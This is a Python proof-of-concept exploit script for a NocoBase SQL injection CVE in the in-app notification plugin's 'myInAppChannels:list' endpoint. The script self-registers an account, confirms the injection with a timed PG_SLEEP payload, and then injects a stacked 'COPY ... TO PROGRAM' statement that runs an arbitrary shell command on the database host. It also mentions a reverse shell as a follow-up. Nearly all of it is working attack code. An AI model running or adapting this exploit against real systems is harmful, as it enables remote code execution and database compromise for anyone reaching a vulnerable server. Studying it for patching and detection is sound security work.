exploit.py

#!/usr/bin/env python3
"""
CVE-2026-52887 - NocoBase SQL injection -> PostgreSQL-superuser RCE.

The `myInAppChannels:list` action of @nocobase/plugin-notification-in-app-message
(<= 2.0.60) interpolates the `filter[latestMsgReceiveTimestamp][$lt]` request
parameter straight into a raw SQL string:

    Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)

No escaping, no binding. The pg driver allows stacked statements, so the injected
fragment can append `; COPY (...) TO PROGRAM '<cmd>'`. In the vendor's default
docker-compose the `nocobase` PostgreSQL role is a SUPERUSER, so COPY ... TO
PROGRAM runs shell commands as the postgres OS user inside the DB container.

The endpoint ACL is `loggedIn`, but the default auth-basic plugin ships with
allowSignUp=true, so any anonymous visitor can self-register, sign in, and reach it.

Author: Caio Fabricio (BiiTts)
License: MIT
"""
import argparse
import json
import sys
import time
import urllib.parse
import urllib.request
import urllib.error


def http(method, url, token=None, body=None, timeout=30):
    data = json.dumps(body).encode() if body is not None else None
    r = urllib.request.Request(url, data=data, method=method)
    r.add_header("Content-Type", "application/json")
    if token:
        r.add_header("Authorization", "Bearer " + token)
    try:
        with urllib.request.urlopen(r, timeout=timeout) as resp:
            return resp.status, resp.read().decode(errors="replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode(errors="replace")


def sign_up(base, user, pw):
    url = base + "/api/auth:signUp?authenticator=basic"
    http("POST", url, body={"username": user, "password": pw, "confirm_password": pw})


def sign_in(base, user, pw):
    url = base + "/api/auth:signIn?authenticator=basic"
    status, body = http("POST", url, body={"account": user, "password": pw})
    if status != 200:
        sys.exit("[-] sign-in failed (HTTP %d): %s" % (status, body[:200]))
    try:
        return json.loads(body)["data"]["token"]
    except Exception:
        sys.exit("[-] could not parse token from sign-in response")


def list_with_filter(base, token, lt_payload, timeout=30):
    q = urllib.parse.urlencode({"filter[latestMsgReceiveTimestamp][$lt]": lt_payload})
    url = base + "/api/myInAppChannels:list?" + q
    t0 = time.time()
    status, _ = http("GET", url, token=token, timeout=timeout)
    return status, time.time() - t0


def confirm_timebased(base, token):
    _, dt_sleep = list_with_filter(base, token, "0) AND 1=(SELECT 1 FROM PG_SLEEP(5))-- a")
    _, dt_base = list_with_filter(base, token, "0) AND 1=1-- a")
    print("[*] time-based: PG_SLEEP(5)=%.2fs  control=%.2fs" % (dt_sleep, dt_base))
    return dt_sleep - dt_base > 3.5


def rce(base, token, cmd):
    # single-quotes in cmd would terminate the TO PROGRAM literal; escape them
    safe = cmd.replace("'", "''")
    payload = "0); COPY (SELECT 1) TO PROGRAM '%s'; -- a" % safe
    status, _ = list_with_filter(base, token, payload)
    return status


def main():
    p = argparse.ArgumentParser(description="CVE-2026-52887 NocoBase SQLi->RCE PoC")
    p.add_argument("-u", "--url", default="http://127.0.0.1:13000", help="NocoBase base URL")
    p.add_argument("--user", default="lab_operator", help="username to self-register")
    p.add_argument("--password", default="P!ssw0rd1", help="password for the account")
    p.add_argument("-c", "--cmd", default="id", help="shell command to run on the DB host (default: id)")
    p.add_argument("--token", default=None, help="use an existing bearer token, skip signup/signin")
    p.add_argument("--no-signup", action="store_true", help="skip self-registration (account already exists)")
    args = p.parse_args()
    base = args.url.rstrip("/")

    token = args.token
    if not token:
        if not args.no_signup:
            sign_up(base, args.user, args.password)
            print("[+] self-registered '%s' via auth-basic signUp" % args.user)
        token = sign_in(base, args.user, args.password)
        print("[+] signed in, bearer token acquired")

    if confirm_timebased(base, token):
        print("[+] SQL injection confirmed (time-based)")
    else:
        print("[-] time-based delta not observed; target may be patched")

    status = rce(base, token, args.cmd)
    print("[+] COPY TO PROGRAM sent (HTTP %d) - '%s' executed as the postgres OS user" % (status, args.cmd))
    print("    (COPY TO PROGRAM output is not returned in the HTTP response; redirect to a file")
    print("     or a reverse shell, e.g. --cmd \"id > /tmp/proof\" then read it back)")


if __name__ == "__main__":
    main()